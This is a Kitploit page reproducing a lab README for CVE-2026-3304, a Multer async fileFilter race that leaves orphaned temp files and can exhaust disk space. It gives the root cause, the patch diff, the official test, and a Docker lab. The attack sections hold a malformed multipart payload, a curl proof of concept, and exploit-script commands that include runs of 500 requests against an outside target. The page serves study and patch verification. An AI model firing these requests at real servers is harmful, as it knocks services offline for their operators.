Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3304 — Reproduction lab for CVE-2026-3304, a Multer async fileFilter race condition causing disk exhaustion via orphaned temp files. Includes vulnerable and patched Docker servers, exploit scripts, and root cause analysis. | Kitploit
Tools/GitHubGitHub/mkway/cve-2026-3304
Vulnerability AnalysisExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubmkway/cve-2026-3304

CVE-2026-3304

Reproduction lab for CVE-2026-3304, a Multer async fileFilter race condition causing disk exhaustion via orphaned temp files. Includes vulnerable and patched Docker servers, exploit scripts, and root cause analysis.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-3304 Lab Environment

For educational and research purposes only. Attacking systems without authorization is illegal.

This lab environment was built by analyzing the Multer 2.1.0 patch and its official test code. The vulnerable server replicates the exact conditions described in the patch test, and the patched server runs Multer 2.1.0 to confirm the fix works.

Vulnerability Overview

FieldDetails
CVECVE-2026-3304
TargetMulter < 2.1.0 (Node.js multipart/form-data middleware)
TypeDoS — Orphaned File (incomplete temporary file cleanup)
CWECWE-459: Incomplete Cleanup
CVSS 4.08.7 HIGH
Patched VersionMulter 2.1.0

A malformed multipart request with a missing name attribute on a file part causes Multer to create a temporary file on disk but never clean it up. Repeated requests exhaust disk space, resulting in a Denial of Service.


Root Cause Analysis

The vulnerability originates in the fileFilter callback handling flow inside multer/lib/make-middleware.js.

Core problem: setImmediate timing + missing errorOccured check

When Multer streams and parses a multipart request part by part, the following sequence occurs:

root@kitploit:~
[Parsing event sequence — vulnerable version]

1. Part 1 header received
   → fileFilter(req, file, cb) called
   → setImmediate(cb) → callback deferred to next event loop tick

2. Part 1 body received
   → /tmp/uploads/<uuid> opened, data starts being written

3. Part 2 header received (name attribute missing)
   → Multer detects 'name missing'
   → errorOccured = true  ← error flag set
   → abortWithCode('LIMIT_FIELD_KEY') called → HTTP 500 scheduled

4. setImmediate callback fires (next event loop tick)
   → fileFilter result: includeFile = true (normal flow)
   → [BUG] errorOccured flag is NOT checked
   → storage._handleFile() called → temp file committed to disk

5. HTTP 500 response sent
   → temp file remains on disk (orphaned file)

Vulnerable code (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// fileFilter completion callback (deferred via setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured is never checked here
  //    even if an error was set while parsing Part 2, execution continues
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // temp file is registered in uploadedFiles and left on disk
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Why is setImmediate the problem?

Wrapping fileFilter with setImmediate defers its callback to the next event loop tick. In that window, busboy (the multipart parser) continues parsing the next part's headers, discovers the missing name, and sets errorOccured = true. When the callback resumes, the error state is already set — but the code never checks it, so storage._handleFile is called unconditionally and the temp file is written to disk.


Patch Code Analysis (Multer 2.1.0)

Fix commit: 739919097d

A single if (errorOccured) guard was added immediately after the fileFilter callback entry, before storage._handleFile is reached.

root@kitploit:~
// fileFilter completion callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] Check errorOccured before proceeding
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // drain stream — no file written to disk
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Summary of changes

ItemVulnerable (< 2.1.0)Patched (2.1.0)
errorOccured check❌ Not checked✅ Checked immediately on callback entry
_handleFile called on errorYesBlocked
Temp file cleanup❌ Missing✅ Via fileStream.resume()
Orphaned files per request10

Why fileStream.resume() cleans up: Calling fileStream.resume() drains and discards the stream without passing it to DiskStorage, so no file is written and nothing is left on disk.


Official Patch Test Code

The Multer team included the following Mocha test in the 2.1.0 patch to verify the fix. This test became the blueprint for this lab environment — the vulnerable server replicates the exact setup described here (setImmediate fileFilter + malformed multipart request), and the expected behavior is verified against both the vulnerable and patched versions.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
AssertMeaning
res.statusCode === 400Multer correctly rejects the malformed request
files.length === 0No orphaned files left on disk (patch verified)

On a vulnerable version (< 2.1.0), files.length equals 1 and the assert fails.


Lab Implementation

This lab directly mirrors the patch test setup above.

Vulnerable server (Dockerfile + app/server.js) runs Multer 2.0.2 with an async fileFilter using setImmediate — the exact trigger condition from the patch test:

root@kitploit:~
// app/server.js — replicates the patch test's vulnerability trigger
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← defers callback, creating the race condition
      cb(null, true)
    })
  }
})

Patched server (Dockerfile.patched) runs the same server.js but installs Multer 2.1.0, where the errorOccured guard is in place — matching the expected passing state of the patch test.

ServerPortMulterExpected behavior
Vulnerable30002.0.2Orphaned file created per malformed request
Patched30012.1.0No orphaned files — cleanup works correctly

Note: Switching fileFilter to synchronous (removing setImmediate) prevents orphaned files even on Multer < 2.1.0. The vulnerability requires both conditions: an async fileFilter and the missing errorOccured check.


Attack: Malformed POST Request

The attack sends a multipart/form-data POST where the second part is missing the required name attribute.

Normal request (safe)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

Malicious request (triggers CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Part 1: valid, temp file created here
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Part 2: name= missing!
Content-Type: application/octet-stream

x
------Boundary--

Server-side execution:

root@kitploit:~
1. Part 1 arrives  →  Multer opens /tmp/uploads/<uuid> and starts writing
2. fileFilter called with setImmediate  →  callback deferred
3. Part 2 arrives  →  Multer detects missing name  →  errorOccured = true
4. setImmediate fires  →  fileFilter callback runs
5. [BUG] errorOccured not checked  →  storage._handleFile called
6. Temp file written to disk
7. HTTP 500 returned
8. /tmp/uploads/<uuid> stays on disk forever  ← orphaned file

Server response:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl PoC

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Check orphaned files immediately after:

root@kitploit:~
curl http://localhost:3000/status

Setup

Requirements

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Start

root@kitploit:~
# Start vulnerable (port 3000) + patched (port 3001) servers
docker compose up -d --build

# Verify both are running
curl http://localhost:3000/status
curl http://localhost:3001/status

Usage

Step 1 — Single malformed request (quick test)

root@kitploit:~
bash exploit/curl_poc.sh

Step 2 — DoS exploit

root@kitploit:~
# Default (50 requests)
python3 exploit/exploit.py

# Heavy attack (500 requests, 5 KB payload each)
python3 exploit/exploit.py --count 500 --size 5120

# Against HTTPS target with self-signed cert
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Compare against patched version
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Step 3 — Real-time monitoring (separate terminal)

root@kitploit:~
bash exploit/monitor.sh

Step 4 — Reset upload directory

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Expected Results

TargetResult
Vulnerable server (3000)Orphaned file created per request, disk grows continuously
Patched server (3001)0 orphaned files regardless of request count

Verified Test Results

Exploit output (vulnerable server, 50 requests × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

Actual disk usage verified inside the container

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Each orphaned file sits on disk permanently until the server is restarted or manually cleaned. The container's tmpfs is capped at 50 MB — reaching the limit causes the server to fail on new uploads entirely.

Two runs without reset — files accumulate

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

Patched server (Multer 2.1.0) — same attack, zero impact

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

Teardown

root@kitploit:~
docker compose down

References

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • Fix commit 739919097d
  • NVD CVE-2026-3304
Download Tool